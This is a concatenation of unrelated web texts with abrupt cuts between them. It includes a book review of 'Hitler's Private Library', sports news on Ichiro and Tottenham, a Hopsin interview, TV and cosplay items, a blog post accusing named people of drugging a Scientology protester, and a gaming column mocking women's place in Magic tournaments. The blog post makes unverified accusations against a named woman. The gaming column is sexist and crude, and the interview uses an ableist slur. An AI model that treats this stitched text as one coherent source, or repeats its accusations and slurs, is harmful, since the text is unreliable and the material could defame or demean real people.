While Hitler's Private Library is crisply written and covers the dictator's reading life from World War I to his suicide in 1945, Ryback could have dug a little deeper. For instance, we are told about Hitler's rabid devotion to Karl May several times -- as an adult the dictator would apparently return to these adventure stories as others do to the Bible -- yet one looks in vain for a sustained analysis of May's books and their appeal. Presumably, this is because none of Hitler's personal copies of the novels survive. Yet surely, given their signal importance to his subject, they should be covered in a study subtitled The Books That Shaped His Life. Similarly, Ryback focuses one chapter on the vile Dietrich Eckart's German translation of "Peer Gynt," showing how Hitler's mentor in anti-Semitism transformed Ibsen's protagonist into a heroic Aryan ideal. But shouldn't Ryback have at least commented on the recent claims -- by Steven Sage-- that three of Ibsen's other plays provide actual blueprints for Hitler's vision of the Third Reich?
While thoroughly engrossing, like virtually all books about the Nazi dictator, Hitler's Private Library does sometimes leave a reader slightly annoyed or puzzled. Details are occasionally wrong or at least fuzzy and in need of clarification. "Peer Gynt" isn't an epic poem; it's a drama in verse. Is Eckart's last play, "Lorenzaccio," another reworking, this time of Alfred de Musset's dramatic masterpiece of the same name? When Ryback describes a Botticelli illustration for Dante -- in which "a despairing figure clings to an angel as he is lifted from the Inferno" -- he calls it "a powerfully emotive moment of salvation." In Catholic theology once you're damned to hell, you have lost the possibility of salvation forever. (To my eye, the so-called "despairing figure" looks like Dante.) And did Alfred Rosenberg really claim that "Saint Peter, working as a Jewish agent, changed his name from Saulus to Paulus?" Wouldn't that mean that Saint Peter was also Saint Paul? Listing some works from the National Socialist Institute that Hitler probably "devoured," Ryback mentions "anthologies of anti-Semitic remarks ranging from Martin Luther to Émile Zola." Zola? This last certainly merits explaining, given Zola's courageous "J'Accuse," his famous declaration that French anti-Semitism had led to the wrongful conviction and imprisonment of the soldier Alfred Dreyfus.
These are all relatively small matters, usually imprecisions rather than errors, but they gradually mount up and detract from the overall merit of Hitler's Private Library. So, too, does the impression that Ryback is something of a glory hog: He never misses an opportunity to say "I." The Hitler books may have been cared for by the Library of Congress for the past 60 years, but you'd think Timothy W. Ryback was the first person ever to turn their pages. He refers constantly to himself: "I found," "I encountered," "I discovered," "When I first surveyed Hitler's surviving books," "By my count," "I was puzzled by," "In paging through this slender volume, I observed" and on and on. Arguably, such phrases are intended to make Hitler's Private Library more "personal," but they sound boastful and should have been discouraged by the book's editor. What does the otiose "I found" add to a clause like "a sentiment echoed in marked passages in Hitler books I found at Brown University"? Had those Hitler books been lost or misplaced?
But then Ryback is also repeatedly telling us that he interviewed this or that surviving member of the Hitler entourage, or making sure we know that he wrote to the aged Leni Riefenstahl to ask about the background for the filmmaker's gift of the Fichte volumes. Riefenstahl crisply replied that "she remembered the exact circumstances, which she had recorded in precise detail in her memoirs." Now, normally a scholar would check the published sources first, wouldn't he? And since the needed material does turn out to be in the Riefenstahl memoirs, what purpose other than vanity is served by mentioning this exchange of letters at all?
These gripes aside, Hitler's Private Library is still fascinating -- and unnerving. Hitler, Ryback shows us, remained a serious reader all his life, spending much of his disposable income on books during the 1920s and regularly passing quiet evenings in his library during the 1930s and '40s, no matter how dreadful the orders he'd been giving during the day. Of course, he was often studying -- studying! -- such ranting works as Madison Grant's The Passing of the Great Race, and yet he also dreamt over volumes devoted to art and architecture, read his adventure novels and world classics.
So the mystery remains: Just how does a man who appreciates Don Quixote, "Hamlet" and Uncle Tom's Cabin grow so monstrous? Wide reading is traditionally supposed to humanize and enlarge our hearts, to encourage empathy and allowance for differences among people. But the example of Hitler, like that of the concentration camp commanders who listened to Mozart to drown out the cries of the innocent, continues to give one pause. Certainly, art and books matter, just as political principles and religious convictions matter, but living, breathing human beings matter most of all. ·
Michael Dirda's e-mail address is mdirda@gmail.com.Although cosplay has been present for decades within the comics, anime, and sci-fi/fantasy fandoms, social media has played an integral role in the thriving communities of costuming that exist, such as Cosplay.com and the Superhero Costuming Forum. In honor of the many fans who've displayed excellence in the mastery of homemade disguise, craftsmanship, and sartorial superheroics, ComicsAlliance has created Best Cosplay Ever (This Week), an ongoing collection of some of the most impeccable, creative, and clever costumes that we've discovered and assembled into a super-showcase of pure fan-devoted talent.
Cloud Strife, cosplayed by
, cosplayed by kaname-lovers
Jean Grey, cosplayed by scruffyrebel, photographed by Judith Stephens
Nausicaa, cosplayed by Masher, photographed by Reki-Konran
Orianna, cosplayed by Britthebadger, photographed by Bill Hinsee
Ms. Marvel, cosplayed by EnjiNight, photographed by pugoffka-sama
Red Hood, cosplayed by etheodoreal
Sakura, cosplayed by KonCookie, photographed by Rui Silva
Wasp, cosplayed by Diana Mon
Ursula, photographed by Katsuya Weller
Yoshimitsu, cosplayed by EcchiPrincess, photographed by Luca Bresadola
Wolverine, cosplayed by Lightkast
Shampoo, cosplayed by Manyo
Rydia, cosplayed by Anita-Lust, photographed by Eva
Do you have a stellar costume that you would like to share with ComicsAlliance? Submit your photos HERE!Until Ichiro Suzuki joined the Seattle Mariners in 2001 with one of the most spectacular debut seasons in Major League history, there had not been a truly standout Japanese position player to make it in the big leagues.
Now as the end of his career approaches – no doubt too swiftly for him – the man best known by a single first name, like a Brazilian soccer player, will undoubtedly walk away with Hall of Fame credentials.
At the moment Ichiro is batting.303 at age 40 for the New York Yankees. Most of his fame was gleaned with the Mariners, beginning at age 27 when he entered the majors from his home country of Japan with a.350 average complemented by 242 hits and 56 stolen bases. Ichiro was selected as American League rookie of the year and Most Valuable Player that season.
The swift outfielder crashed through many barriers in 2001, not the least of which was a cultural one. Until Ichiro came along it was believed that Japanese hitters were closer in ability to AAA players than Major Leaguers. Suzuki’s triumphs made big-league scouts look harder at Japanese prospects, and not only pitchers.
There was a time when Major League Baseball caught some flak for employing the words “World Series” to describe its end-of-season championship because all of the players were from the United States. The fact was that for several decades just about all of the best baseball players in the world were from the U.S.
It is best remembered, too, that in a racist American society, the finest African-American players were relegated to playing in alternative competition, the Negro Leagues. Gradually, players of Latin American origin beat down the doors for acceptance. And at last, post-Jackie Robinson in 1947, dark-skinned Americans exploded on the scene.
In 2014, MLB players represent such countries as Taiwan, Australia, Canada, South Korea, Italy, and The Netherlands, as well as Mexico, Cuba, Nicaragua, and Panama. There are huge numbers of players from the Dominican Republic and Venezuela and about a dozen from Japan. The best players from these lands put the world in World Series.
A two-time batting champ who set the Major League single-season hits record with 262 in 2004 Ichiro is in the twilight of his career. Once the fastest man in the game he has lost a step in the outfield and on the base paths, though his speed is still adequate. A 10-time All-Star and 10-time Gold Glove winner, Suzuki has earned neither honor since 2010.
The most fascinating aspect of Ichiro’s career is wondering just how many hits he would have accumulated if he broke into the majors earlier. In his 14th season, and as of the Yankees’ first 89 games this year, Suzuki had 2,798 hits. He also collected 1,278 hits while playing professionally in Japan.
No official governing body is going to acknowledge a combined hits total in any other manner than anecdotally, but the anecdote is 4,076 hits and counting. Pete Rose is the Major League hits king with 4,256 and Ty Cobb is the only other big-leaguer to top 4,000 with his 4,191. Ichiro is in his own category.
Right now, for Ichiro Suzuki, the race is gathering 3,000 Major League hits before retirement. As the games and months pass, each at-bat will be precious. He will also need another season or two of.300 hitting to ensure job interest when his Yankee contract expires at the end of this season.
For the serious baseball fan, this will be drama worth watching.Protester Nasty Nathanial allegedly drugged by cult agents
Last night 12/4 Nasty Nathanial called me and told me that he may have been drugged by a Church of Scientology agent. He had been outside one of their buildings in Pasadena when a beautiful woman he claims is named "Lehra Samadhi" walked out and was very complimentary. Her Facebook page is here. The link refers to a Lehra Hjertsted. He said "are you one of them? She said "No I was just coming over to see what the fuss was." He was dumb enough to give her his phone number. She began calling a lot and gushing over him calling him "her soulmate." This is odd as they just met and he is gay. She kept mentioning specific details from his videos as if she had seen them all. She invited him to a bar in Pasadena (Sci hotbed) called "Der Wolfskopf" (The Wolf Head) to talk with a friend of hers (picture at left below). They all arrived and ordered drinks.
He had a drink and then blacked out! NN can hold his liquor this is very strange. When he came to it was apparently hours later and the woman and her friend were gone and she did not contact him again. I am concerned she messed with his phone while he was out. They could have removed the battery and read important tech info about his phone which would allow them to spy on him.
Just before he called to tell me this I got a phone call from a woman telling me to "keep my hands off her boyfriend. I saw what you did yesterday! You know what I am talking about!" Well I didn't know. They she referred to me as a woman. I said "I'm not a girl. You are funny. Tell me more about yourself." Then she hung up. I looked up the phone number and other people had reported weird calls from it. This is almost certainly a paid accomplice of Sci. A scientologist would not be permitted to watch all his videos. Also, they make dumb mistakes by treating gay guys as if they were straight when they try to seduce/trick/depose them. The Church simply cannot imagine the mindset of a Gay man. They should have sent sexy guard Parker Osmon to seduce him, but they are idiots.
NN is okay now but cannot remember anything after he had his drink. He is lucky they did not poison him! They may have put chloral hydrate in his alcoholic beverage to create a date rape drug called a "mickey finn." I told him to also check his vehicle for a tracking device and to go back to the bar and ask to see their security video.Civil-rights icon John Lewis, a Democratic congressman from Georgia. Rick Diamond/Getty Images Republican Maine Gov. Paul LePage on Tuesday voiced his opinion on the feud between President-elect Donald Trump and civil-rights icon John Lewis, a Democratic congressman from Georgia.
In short, LePage said Lewis should give "a simple thank-you" to white Republicans from the 1800s who worked to end slavery and served in the Reconstruction period.
"How about John Lewis last week — criticizing the president," LePage told WVOM. "You know, I will just say this: John Lewis ought to look at history. It was Abraham Lincoln that freed the slaves. It was Rutherford B. Hayes and Ulysses S. Grant that fought against Jim Crow laws. A simple thank-you would suffice."
The Lewis-Trump feud began late last week after the Georgia congressman told NBC's Chuck Todd that Trump was an illegitimate president and that he would not be attending the inauguration later this week. It was later noted that Lewis did not attend the inauguration of President George W. Bush after making a similar claim of illegitimacy.
A number of Democratic politicians have also announced they will not be attending Friday's inauguration.
"The Russians participated in helping this man get elected, and they helped destroy the candidacy of Hillary Clinton," Lewis told Todd.
Trump then went on a Saturday-morning tweetstorm slamming Lewis, who participated in the famous Freedom Rides and fought against segregation in the South alongside Martin Luther King Jr., as an "all talk, talk, talk — no action" politician.
"Congressman John Lewis should spend more time on fixing and helping his district, which is in horrible shape and falling apart (not to... mention crime infested) rather than falsely complaining about the election results," Trump tweeted. All talk, talk, talk — no action or results. Sad!"
"Congressman John Lewis should finally focus on the burning and crime infested inner-cities of the U.S," he later tweeted. "I can use all the help I can get!"
Lewis' district encompasses most of Atlanta, Georgia's capital and largest city. The Atlanta Journal-Constitution fired back on its front page the following day, saying Trump was "wrong" about his categorization of the city.
Trump went back on the attack against Lewis on Tuesday morning, writing about the report that Lewis skipped Bush's inauguration.
"John Lewis said about my inauguration, 'It will be the first one that I've missed.' WRONG (or lie)!" Trump wrote. "He boycotted Bush 43 also because he...' thought it would be hypocritical to attend Bush's swearing-in....he doesn't believe Bush is the true elected president.' Sound familiar!"
LePage has gotten in hot water throughout the past year after a series of racially charged statements he's made.
In January, he said that "guys with the name D-Money, Smoothie" come to Maine to sell drugs and "impregnate a young, white girl."
"They come from Connecticut and New York, they come up here, they sell their heroin, they go back home," he said. "Incidentally, half the time they impregnate a young, white girl before they leave, which is a real sad thing because then we have another issue we have to deal with down the road."
He gave an apology for the comments in a subsequent press conference, saying that he should've said "Maine women" instead of white women.
Later that month, he said convicted drug criminals should face "the guillotine."
And in August, LePage stirred up controversy when he said that for the past seven months he kept a binder in which he inserts photos of drug dealers arrested in the state. Le |
I felt were most likely going to make up the Cubs’ postseason roster. Perhaps you have a choice who’s not on the list; that’s OK, too, as I’ve listed that choice in the poll. Players are listed in alphabetical order, and note, this is for players only, so Joe Maddon, the coaching staff and Theo Epstein and the executives aren't included.
Have fun with this on an afternoon while we wait for Cubs baseball.
Oh, you want to know who I'm voting for. This is, as I noted above, a likeable team with a great many players who could be a "favorite." My vote's going to Kyle Hendricks, who, as you know, I've been a big fan of for a long time. I love watching him pitch, the way he works his craft, and how he's made himself one of the top pitchers in the game without 95-plus velocity.
Now it's your turn.The accolades are adding up. XXL Freshmen nod. BET Cypher. Multiple videos notching multimillions of Youtube views. Creative respect. Bourgeoning crew success. Hopsin’s white-eyed wild style is winning organically. On his way to Rap acclaim, the Panorama City, Californian has taken the road more frequently traveled. His Ruthless Records partnership failed publicly in 2009. He rebounded, founded his own independent imprint, dropped a slew of inventive videos and critical rhymes lambasting the industry and its emphasis on style over substance, cementing his place in Hip Hop’s new era.
In this interview with HipHopDX in Atlanta’s Criminal Records during A3C 2012, Hopsin discussions the connection between his “Sag Yo Pants” and 50 Cent’s “How To Rob,” Funk Volume, rhyming with Mystikal, and the status of his long-awaited follow up, Knock Madness.
HipHopDX: Is this your first A3C?
Hopsin: Yes it is. Very first one, so I have no idea what to expect.
DX: It’s been a good year for you, right?
Hopsin: Yes. It’s been a very good year. I haven’t put any music out, but it’s been a good year.
DX: I think there is a part of that that’s a testament to all the work you’ve put in before you got to this point, right? You get your reps in and then those reps carry you when you’re [working to get to the next stage].
Hopsin: Yeah, that’s kind of what’s happening right now. And I prefer quality over quantity. I do drop stuff slow but I try to make sure it’s [a good quality].
Hopsin Explains Process Behind Funk Volume
DX: You were originally signed to Ruthless Records. Now you have started your own independent label.
Hopsin: Yeah. Funk Volume.
DX: How is it running – or at least being the flagship artist – for a label? Is it any different than being on Ruthless from a creative standpoint?
Hopsin: It’s completely different. When I was on Ruthless [Records], they tried to tell me what records I should focus on making. Now I can do what I want. They tried to take the artist out of me and tell me to do what other people were doing. Now I can do whatever I want to do exactly the way I want. Every artist on Funk Volume [Records] does it that way, so it’s really comfortable. There’s no complaints. Every artist can do whatever they want to do. That’s the main difference. We can be ourselves. We don’t have to try to be like them. We can just do us.
Hopsin Compares “Sag My Pants” To 50 Cent’s “How To Rob”
DX: The “Sag My Pants” joint. To me, that reminds me of 50 Cent’s “How To Rob.” 50 Cent dropped “How To Rob” and he called out all the things he didn’t like that were happening. To a degree, you kind of do the same thing on that track. Was that a direct inspiration?
Hopsin: 50 Cent is a big inspiration and I do like the song “How To Rob.” The type of emcee that I grew up as and the world of emceeing that I grew up in was to just call [out] that stuff that you don’t like. So I spoke on a lot of the things I didn’t like about the industry and I didn’t hold back. That’s the kind of emcee that I am. If I see something that I dislike…I mean, I just speak what I feel. That’s all it is. It’s not that I dislike stuff. It’s just what I’m feeling and I talk about stuff.
DX: You run with such a level of positivity, too. Like the “Ill Mind [Of Hopsin]” series, for example. Especially this last one that dropped, [“Ill Mind Of Hopsin 5”]. That one was extremely poignant and speaks on the broader issue of just being a positive person; being true to who you are.
Hopsin: Yeah. I had to make that song because I live on this Earth and am surrounded by people who are making it kind of hard for me to even live on this planet because everybody is all brainwashed and stupid. I’ve been put in this position for a reason so I might as well use my powers for good and try to shed some light. No other artist is doing it, and if they try, they’re not doing it in a way that’s [relatable]. I had to do it in a way that sounds like I’m actually still one of them. No rapper is doing it that. I just spoke my heart. That’s what everybody’s been seeing. I’ve had that conversation with so many people before that song was created – friends, and people I meet at shows, wherever. A lot of people feel that way so I just put it on a song and talk about all those things that I see going on. [I wanted] to actually put it in their face and let them know that they should stop fucking up and do something positive.
DX: Hip Hop’s always been a real recognize real kind of environment. That’s how we like to feel. Are you ever surprised by the amount of acclaim that you’ve received? You’ve got the XXL Freshmen cover. You’ve got multiple videos with multimillions of views. I assume you’re getting hit by all kinds of different artists to direct their videos.
Hopsin: I understand why it’s happening. It’s kind of weird because I don’t see myself as that big of a deal in my own eyes. But to other people they’re like, ‘Oh, it’s Hopsin,” or this and that. I’m not too interested in working with other people. My goal is no longer to try to become a big rapper that’s rapping to prove that I’m better than anybody. I just want to help people and spread my message. I don’t care if an artist is dope or if they like my video or made this popular song or whatever. The benefits are now more like self benefits. All this Rap talk, I’m not driven by that. I’m done with that stage in my life.
Video & Editing by Michael Hogenmiller for HipHopDX
DX: When did that [shift] happen? Did that happen as a result of the Ruthless situation?
Hopsin: The Ruthless situation, I was raw. I was in that mindset where I wanted to be big. I wanted to get revenge. I wanted to benefit myself. I didn’t know the truth about record labels and all the B.S. Now, I just see the power that I have over a lot of youngsters so I’ve got to keep it positive. I don’t care about being famous. I just care about changing people’s lives. It happened over time.
DX: I grew up in the 1980s and ’90s and videos used to be the thing. We were talking to King Chip earlier and he described it like sometimes [he] wouldn’t go outside because you were waiting to see this video. It was that type of feeling. All my favorite videos were by Busta Rhymes and Missy Elliott. When I watch your videos, I get that feeling. These are like magnanimous concepts that you’re putting out there.
Hopsin: Those were the times when Hip Hop was fun and entertaining. It was just super creative. Everybody was doing something different. Somebody’s doing this. Somebody’s doing that. Somebody’s doing that. Now it’s just one lane where [it’s] girls, smoking weed, cars, and money and all that. Those elements have been in Hip Hop all the time, but they didn’t glorify them the way they are doing now. There was a lot of other stuff. Now when you see it, it’s just stupid. Every artist is just on repeat. It’s the same person all over again. Super tattoos. Dreadlocks. Sunglasses. Whatever. It’s just the same guy over and over. Same sound. Same type of beats. Same message. It’s like what is this? This is stupid. That’s why I say I don’t want to do that anymore because it’s retarded.
But back in the day, I was definitely into the videos. I used to stay in to watch a video or whatever. Couldn’t wait to watch the little TV behind the scenes for the video release…
DX: [MTV’s] Making Of The Video. You’re bringing it back!
Hopsin: Yeah. But the artists aren’t that creative anymore. It’s boring.
Hopsin Discusses The Lost Art Of The Freestyle Cypher
DX: Funk Volume is filling that void. What’s it like within your organization and working with the artists on your label?
Hopsin: It’s dope because everybody came from that emcee foundation. We all have slightly different styles, but we all came from the super emcee foundation where we know how to rap; we know how to do different type of styles. There are styles that we take from one another. We can all sit back and do freestyle cyphers. A lot of rappers can’t do that. If you tell them to freestyle, they’re like, “Nah, man.” They try to come in with something that they wrote in the studio. We all just like the art form of Hip Hop in general. We all know how to really rap. We all know how to really rap. You can approach us and try to call us out and you’ll see that we all know how to really rap. It’s cool to have a team like that because we’re not just in one little lane over here – some Swag Rap or some lyrical emcee diabolical metaphorical Rap. We just do a lot of things. I want others to see that so the new generation of rappers that come after us can have a big variety to choose from instead of, “Let me rap about hoes and whatever with stupid metaphors and let me try to do that.” There’s so many different styles to choose from that you don’t just have to take that one lane. There’s so many options to choose from to express yourself. We just want to show that to the world.
DX: What did you think of that BET Cypher? Who do you think had the best verse in that cypher?
Hopsin: In the one that I was in specifically?
DX: The one that you were in specifically. Did it feel competitive?
Hopsin: It’s not really competition. Everybody came with it. They just did what they do. There’s different types of rappers, you know. I have my style. Mac Miller had his. ScHoolboy Q had his. And, what’s his name…
DX: Jaybird [The Purdy Boi]
Hopsin: He had his style. It wasn’t meant to be a competition. We just did what we do.
DX: Was it cool rocking with Mystikal?
Hopsin: Yeah. It was very entertaining seeing Mystikal get down in person. If you watch the cypher, you see us all just laughing. Not laughing like he’s retarded. Laughing like, “Man, this is so cool finally seeing him in real life!” His energy is crazy and kind of intimidating, too. You see us kind of cracking a smile when he was doing it. He had super big energy. He came prepared, I’ll tell you that. He’s a real cool dude. Super, super cool.
DX: 2013. We’re at the end of 2012. What’s up next for Funk Volume and what should we be excited about that’s on the way?
Hopsin: I don’t know right now. I’ll let you guys know. If you follow me, you will know soon. As of right now, I’m just on tour and then I’m going to go home and enjoy the holidays with my family.
DX: Still finalizing the album, [Knock Madness]?
Hopsin: Still working on it. Every time I update something, I never mean it. It’s not because the label’s going, “You can’t put it out.”
DX: It sounds like it’s probably what you said earlier about when you put something out, you want to make sure it’s quality. You’ve got an audience. You’ve got kids watching you.
Hopsin: Yeah. I am a perfectionist. But when it comes out, you’ll know it’s out. I promise you.
Purchase Music by Hopsin
RELATED: Hopsin: Something Wicked [2011 INTERVIEW]Jerry Seinfeld is going to run out of cars someday. “StartUp” is the latest manifestation of that inevitability.
Mr. Seinfeld’s droll series “Comedians in Cars Getting Coffee” is still probably the best-known original show on Crackle, which has been slowly building its roster, hoping for the kind of breakthrough that has brought other streaming services to the forefront of television. “The Art of More,” a drama it introduced last year, is pretty good but didn’t generate big buzz. “StartUp,” a 10-episode drama the service rolls out on Tuesday, probably won’t either, despite a dynamic performance by Otmara Marrero.
She plays Izzy Morales, a tech wizard who thinks she has invented a better Bitcoin, which she calls GenCoin. Her hunt for a financial backer leads her to Nick Talman (Adam Brody), who is restless in his job as a cog in some large financial institution.
Nick happens to have money to invest because his father, who operates on the wrong side of the law, has some he needs to hide. Soon the improbable duo of Nick and Izzy becomes an even more improbable threesome: They find themselves in a reluctant partnership with Ronald Dacey (Edi Gathegi), a high-ranking member of a Haitian gang. Martin Freeman, who had nice runs recently in “Sherlock” and “Fargo,” is the F.B.I. agent who, trying to get at Nick’s father, begins scrutinizing their start-up.Derek Campbell, a player for the Hull Stingrays in the U.K.’s Elite Hockey League, was suspended 47 games for a fight in which Campbell followed an opponent into the stands and attempted to gouge his eye out.
The fight, which you can watch in the video above, started when Campbell was struck from behind into the boards by Nico Sacchetti of the Dundee Stars. One of Campbell’s teammates then pins Sacchetti to the boards and holds him there until Campbell get back into it. Then everyone goes crazy.
While the referees and members of the Stars do their best to tear him off, Campbell repeatedly tries to bash Sacchetti’s head into the ice. It’s tough to see in the video, but we presume this is also when Campbell attempted to gouge Sacchetti’s eye out. After the referees finally separated the two, Campbell threw an elbow at a referee, and was summarily ejected from the game.
Later on, Campbell somehow made his way around to the entrance of Stars’ locker room, and as the announcer shouted loud noises in an English accent, Campbell attacked Sacchetti again. It’s a crazy video.
The 47-game suspension was levied by the league for:
Fighting off the ice = 15 matches
Attempted eye gouge = 12 matches
Knee to the head = 10 matches
Excessive force to the head resulting in an impact to the ice = 10 matches
Campbell won’t be serving that 47-game suspension, however, as he was released by the team.
(Thanks to CBS Eye on Hockey for sharing.)Tim Sherwood has been appointed as André Villas-Boas's permanent successor at Tottenham Hotspur on an 18-month contract after a day of negotiations with the chairman, Daniel Levy. The 44-year-old had been hastily promoted from his post as the club's technical co-ordinator last Monday, following Levy's decision to sack Villas-Boas after an erratic period, and Sherwood made it plain that he did not want a mere interim appointment.
His managerial CV extends no further than two matches – the Capital One Cup quarter-final defeat at home to West Ham United last Wednesday and the Premier League victory at Southampton on Sunday – and his ambition to be granted a long-term and full-time deal seemed at odds with Levy's desire to recruit a big-name successor to Villas-Boas.
Levy was in contact with the Holland manager, Louis van Gaal, over the weekend and the Dutchman raised Tottenham's hopes by saying that it had always been an ambition of his to manage in England. Van Gaal also said that he would not job-share between a club and his country, meaning that he would not become available for Tottenham, or anybody else, until after the World Cup finals next summer.
This had raised the prospect of Sherwood continuing as the Tottenham manager until the summer but, in the talks with Levy on Monday, he said that he wanted a more secure deal to implement his ideas at the club he had previously captained. He has got his wish, with the club announcing that he had been "appointed head coach with a contract to the end of the 2014-15 season". It is unclear whether Sherwood's deal contains any break clauses on either side.
Levy said: "We were extremely reluctant to make a change mid-season but felt we had to do so in the club's best interests. We have a great squad and we owe them a head coach who will bring out the best in them and allow them to flourish and enjoy a strong, exciting finish to the season. We are in the fortunate position of having within our club a talented coach in Tim Sherwood. We believe Tim has both the knowledge and the drive to take the squad forward."
Sherwood has his level one, two and three coaching badges, plus the Uefa A and B licences but he must now obtain the Uefa Pro Licence, which is a prerequisite for Premier League managers. He must demonstrate a commitment to sign up for a Pro Licence course by Monday 10 March; the League's deadline is 12 weeks after a manager is promoted to the role.
Sherwood will be assisted by Chris Ramsey, Les Ferdinand and Steffen Freund, Villas-Boas's former No2. It has been a chaotic season for Tottenham, with Villas-Boas eventually losing his grip and becoming the eighth manager dismissed by Levy at White Hart Lane. But the 3-2 win at Southampton, which was marked by Sherwood's attacking selection and the recalled Emmanuel Adebayor's goals, meant that the club moved to only six points off the title pace.
The mission to fire their hopes further resumes at home to West Bromwich Albion on Boxing Day.
Sherwood, whose playing career was defined by three England caps and the Premier League title with Blackburn Rovers in 1995, was brought on to the Tottenham staff by the former manager Harry Redknapp in October 2008. He initially worked on a part-time basis but he quickly impressed with his knowledge and eye for a player. He assumed responsibility for all of the youth teams when he was appointed as the technical co-ordinator.A guy named Ron Vitale wrote something over at Brainburst about women and Magic. It was called"Whatever happened to Bethmo?" and he had this idea about what would have to happen if we wanted to get more female players into the game.
"If we're serious about changing the game, then we need to clean up our acts and invite women into the fold. What does that mean? To put it simply: Deal with issues of personal hygiene, act more mature, and be receptive to talking more than with"Magic speak."
So here's what we have to do: First, get all the unwashed jabronies to take a shower once in a while, maybe shave before people start mistaking their necks for Tiberium fields. And those two-day old, wrinkled shirts with Dragonball Z characters on 'em? 'em. You show up freshly pressed or stay home.
I can see it now- a hygiene Gestapo in every store.
"Hey!"
he'd yell, bridling. "Try picking the debris out of your dreads every so often, you greaseball." Then he'd turn to some other poor guy who just came in to draft.
"And you! Yeah, the guy with the stud in his lower lip. Shine that thing up! Were you raised in a barn? And get a razor- I can name at least five areas of my body with better-looking stubble than that."
Women who would take offense to the poor hygiene (at least, any more than we would) aren't good candidates to be Magic players.
The Magic community is very forgiving in this regard, and that is why some people find it a nice respite from the rest of society, where multiple eyebrow piercings and being two hundred lbs. overweight aren't very conducive to social interaction. I have yet to see one person make fun of the appearance of another at a Magic tournament. Same thing with odor. If I guy stinks, I might mention something to a friend, but I usually cut the guy a break. Why should we have to change this time-honored system just to populate our community with a few more sets of jahoobies?
Hell, maybe I should shove a Glade Plug-In up my ass and fill my deckbox with incense when I go to a tournament. That way little miss princess gamer will feel more comfortable. Come on. If women wanted to play Magic, they'd play Magic. I personally smell fine - and even if a couple of guys get ripe throughout the course of the day, the women have got to be able to deal with that.
Girls, it's not my job to get Sticky McStick to bathe his three hundred pounds in a timely fashion. You show up and see pit stains, you hold you nose like everyone else.
Then Vitale mentions that we have to be more mature. What? I play Magic despite all the morons and idiots that also play it - and I'm proud of my ability to do so. I think this ability in and of itself shows maturity. I'll tell you what doesn't show maturity... And that's an inability to deal with other people being immature. There are plenty of people, both men and women, who are guilty of this. If you play a game where the average age is fourteen years or so, you're going to have to deal with some immature people who have no social skills. I expect my male friends to deal with this on a daily basis, so why should I expect less of the women?
Jesus, why do we have to keep pampering these ladies? The male Magic players of the world have to deal with the occasional stink and the even more occasional idiot who thinks that fart jokes are the height of humor. Women, if they want to play Magic, should be able to cope with these things too. We're not doing them any favors by trying to"clean things up" in an effort to get more of them into the game.
What these damsels need is a trial by fire - Magic as it truly is.
It's not just Magic. Remember when O'Neal was given a step marked"female aid" to help her pass the obstacle course in"G.I. Jane"? Perfect example. All sorts of things get changed when markets want to cater to what they see as"women's needs" and the end result is that people resent any women that arrive, making things even worse. I don't know about you, but if I came to a store and was told to shave my burgeoning neckbeard because there was a woman at the tournament that day, I'd tell you to go f*** yourself. Is this a Magic tournament or a GQ photo shoot?
Like women look or smell that good all the time - that's a crock. You think female-dominated activities start initiatives in order to get more men involved? Do they put out bulletins asking their community to wax those upper lips, find a more flattering bra, prepare to talk about sports? Hell no.
Men don't avoid Tupperware parties because the women there leave something to be desired as far as hygiene and conversation (though it is most often the case).
Men avoid Tupperware parties because they think Tupperware parties are dumb.
This is the same reason women avoid Magic. They're either raised on Barbie dolls and the like, and therefore think Magic is dumb, or they're raised on"girl power" and therefor think that Magic is a waste of time - they could be out curing Cancer.
Finally, why should I be receptive to talking in more than"Magic" speak?, but I'll just keep saying"tings,""savage," and"end step," and it's not my fault if the airhead doesn't know what I'm talking about. Women are every bit the same as men, mentally - and just as you and your friends all eventually learned to talk the talk, so too will Molly McGamer and her ilk. I will not learn anything about Kotex, male models, or hair care in a vain effort to engage a female Magic newcomer in interesting conversation. Instead, it's her that should bone up on Magicspeak, and learn to fit in with us.
Here's another snippet from the Vitale article:
"We need to find a way to be more receptive to women in the Magic community or the game will simply remain a homo-centered playground of boys who refuse to mature. Why am I being so harsh? Have you been to a Magic tournament lately? Seriously, if you were a woman, would you be caught dead there? I didn't know so."
Ron, that's not my fault that many women (and a great many men, as well) are too shallow and thin-skinned to forgive a few unshaven faces, wrinkled shirts, and obscene remarks. Women are, by the way, every bit as prone to immaturity and stupidity as men. They wouldn't be caught dead at a Magic tournament? Screw them, then. They can go back to looking at themselves in the mirror or doing whatever it is that women do. It's their loss.
Ron obviously hates the fact that some boys at Magic tournaments act in a stupid manner. I don't like it, either. How does he deal with this? I'm assuming he shakes his head, mutters to himself"what idiots..." and then goes on with what he was doing. Is there any reason that female gamers can't do this as well? I think not.
I keep coming back to the same point time and again. Women, as a group, being every bit as dynamic, intelligent, and filled with potential as males, should be able to cope with the rigors of Magic. It just takes mental toughness.
Kudos to every woman who plays Magic and doesn't expect any preferential treatment. If you come into a tournament and keep an open mind, you will be accepted: I guarantee it. If I see a woman at a Magic tournament, I treat her the same as I would a male gamer - with respect. Most other gamers are the same way.
At my local store, the tournaments are competitive. Players hurl spells and trash talk with equal measure. Foul language goes back and forth across every table. (False) accusations of homosexuality are rampant. Obscene gestures are common. References to anal sex are frequent. It's all in jest, though, and quite good-natured.
I'm sure that given a few minutes to adjust, women can handle this. Heck, they could even get involved in some of the joking and ribbing, and have a good time.
The alternative is a set of gaming tables where people are playing Magic while they talk about the buns of Ryan Phillipe vs. those of Tom Cruise and how much it costs to get a haircut. God forbid. If I have to choose my trash-talk and the choices are"Where's your mom? I think she's in my room" and"I don't like your perm," I don't think it's much of a contest.
I guess what I'm trying to say is, well, if calling my opponent an"assmaster" in response to his is wrong in the presence of the fairer sex - then by God, I don't wanna be right.
Women, just like men, could learn a lot from being part of the Magic community. Tolerance for other shapes and types of people. Patience.
And those are not the least of the lessons. After the divided social hell of high school, you can learn a lot about how to act like a human being again. I don't know if it's societal pressure or genetic predisposition, but women are missing out on a lot because of it.
All shapes and sizes and colors, and yes, smells, are welcome. I don't particularly like the smell part, but that's the way it is. In its way, it's actually noble. Give me your tired, your poor, your huddled masses yearning to breathe free... And hand them a deck.
When women are ready to be part of that particular melting pot, have them give us a call.
Geordie Tait
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Receive access to ALL of our EXCLUSIVE bonus audio content – including “Conspiracy Corner”, “Degenerate Gamblers” and the “League of Liberty Podcast” by joining the Lions of Liberty Pride and supporting us on Patreon!Subliminal messaging could influence decision making up to 25 minutes after the message is presented, a study in Neuroscience of Consciousness has found.
